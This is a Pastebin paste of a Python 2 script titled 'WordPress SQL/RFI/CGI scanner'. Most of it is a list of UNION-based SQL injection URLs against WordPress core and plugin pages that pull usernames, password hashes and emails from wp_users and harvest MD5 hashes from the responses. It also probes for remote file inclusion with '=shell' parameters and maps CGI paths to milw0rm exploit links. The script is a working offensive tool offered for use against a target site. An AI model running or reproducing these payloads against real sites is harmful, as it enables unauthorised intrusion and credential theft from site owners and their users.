khalilasharen

WordPress SQL/RFI/CGI scanner

May 21st, 2012
335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.35 KB | None | 0 0
  1. #!/usr/bin/python
  2. #WordPress SQL/RFI/CGI scanner. SQL will check
  3. #for md5's in the source and RFI/CGI will use
  4. #http responses.
  5.  
  6.  
  7. import sys, urllib2, re, time, httplib
  8.  
  9. #Bad HTTP Responses
  10. BAD_RESP = [400,401,404]
  11.  
  12. def main(path):
  13. print "[+] Testing:",host.split("/",1)[1]+path
  14. try:
  15. h = httplib.HTTP(host.split("/",1)[0])
  16. h.putrequest("HEAD", "/"+host.split("/",1)[1]+path)
  17. h.putheader("Host", host.split("/",1)[0])
  18. h.endheaders()
  19. resp, reason, headers = h.getreply()
  20. return resp, reason, headers.get("Server")
  21. except(), msg:
  22. print "Error Occurred:",msg
  23. pass
  24.  
  25. def timer():
  26. now = time.localtime(time.time())
  27. return time.asctime(now)
  28.  
  29. print "\n\t visit me www[dot]flazer-404[dot]com"
  30. print "\t------------------------------------------"
  31.  
  32. sqls = ["index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*",
  33. "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*",
  34. "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23",
  35. "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*",
  36. "plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--",
  37. "plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--"
  38. "plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users",
  39. "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users",
  40. "plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users",
  41. "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
  42. "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*",
  43. "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
  44. "index?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201",
  45. "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*",
  46. "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain"]
  47.  
  48. rfis = {"plugins/Enigma2.php":"index/wp-content/plugins/Enigma2.php?boarddir=shell",
  49. "mygallery/myfunctions/mygallerybrowser.php":"mygallery/myfunctions/mygallerybrowser.php?myPath=shell",
  50. "plugins/wp-table/js/wptable-button.phpp":"plugins/wp-table/js/wptable-button.phpp?wpPATH=shell",
  51. "plugins/wordtube/wordtube-button.php":"plugins/wordtube/wordtube-button.php?wpPATH=shell",
  52. "plugins/myflash/myflash-button.php":"plugins/myflash/myflash-button.php?wpPATH=shell",
  53. "plugins/BackUp/Archive.php":"plugins/BackUp/Archive.php?bkpwp_plugin_path=shell",
  54. "plugins/BackUp/Archive/Predicate.php":"plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=shell",
  55. "plugins/BackUp/Archive/Writer.php":"plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=shell",
  56. "plugins/BackUp/Archive/Reader.php":"plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=shell",
  57. "plugins/sniplets/modules/syntax_highlight.php":"plugins/sniplets/modules/syntax_highlight.php?libpath=shell"}
  58.  
  59. cgis = {"wp-trackback.php":"http://milw0rm.com/exploits/3095",
  60. "wp-admin/users.php":"http://milw0rm.com/exploits/1059",
  61. "xmlrpc.php":"http://milw0rm.com/exploits/1077",
  62. "wp-includes/cache.php":"http://milw0rm.com/exploits/6",
  63. "wp-trackback.php":"http://milw0rm.com/exploits/3095",
  64. "plugins/mygallerytmpl.php":"http://milw0rm.com/exploits/3814",
  65. "wp-admin/admin-ajax.php":"http://milw0rm.com/exploits/3960",
  66. "wp-app.php":"http://milw0rm.com/exploits/4113",
  67. "plugins/pictpress/resize.php":"http://milw0rm.com/exploits/4695",
  68. "plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php":"http://milw0rm.com/exploits/4844",
  69. "plugins/wp-adserve/adclick.php":"http://milw0rm.com/exploits/5013",
  70. "wp-admin/admin.php?page=dmsguestbook":"http://milw0rm.com/exploits/5035",
  71. "plugins/downloads-manager/upload.php":"http://milw0rm.com/exploits/6127"}
  72.  
  73. if len(sys.argv) != 2:
  74. print "\nUsage: ./wpscan.py <site+dir>"
  75. print "Ex: ./wpscan.py www.site.com/wp-content/\n"
  76. sys.exit(1)
  77.  
  78. host = sys.argv[1].replace("http://","").rsplit("/",1)[0]
  79. if host[-1] != "/":
  80. host = host+"/"
  81.  
  82. print "\n[+] Site:",host
  83. print "[+] SQL Loaded:",len(sqls)
  84. print "[+] RFI Loaded:",len(rfis)
  85. print "[+] CGI Loaded:",len(cgis)
  86.  
  87. server = main("/")[2]
  88. print "[+] Server:",server
  89.  
  90. print "\n[+] Started:",timer()
  91.  
  92. print "\n[+] Scanning: SQL\n"
  93. for sql in sqls:
  94. time.sleep(2) #Change this if needed
  95. print "[+] Trying:",sql.replace("\n","")
  96. try:
  97. source = urllib2.urlopen("http://"+host+sql.replace("\n","")).read()
  98. md5s = re.findall("[a-f0-9]"*32,source)
  99. if len(md5s) >= 1:
  100. print "[!]",host+sql.replace("\n","")
  101. for md5 in md5s:
  102. print "\n\t[+]MD5:",md5
  103. except(urllib2.HTTPError):
  104. pass
  105. print "\n[+] Scanning: RFI\n"
  106. for rfi, shell in rfis.items():
  107. resp,reason,server = main(rfi)
  108. if resp not in BAD_RESP:
  109. print "\t[+] Got:",resp, reason
  110. print "\t[+] Try:",host+shell
  111. else:
  112. print "\t[-] Got:",resp, reason
  113. print "\n[+] Scanning: CGI\n"
  114. for cgi, expl in cgis.items():
  115. resp,reason,server = main(cgi)
  116. if resp not in BAD_RESP:
  117. print "\t[+] Got:",resp, reason
  118. print "\t[+] Check:",expl
  119. else:
  120. print "\t[-] Got:",resp, reason
  121. print "\n[-] Done\n"
Advertisement
Add Comment
Please, Sign In to add comment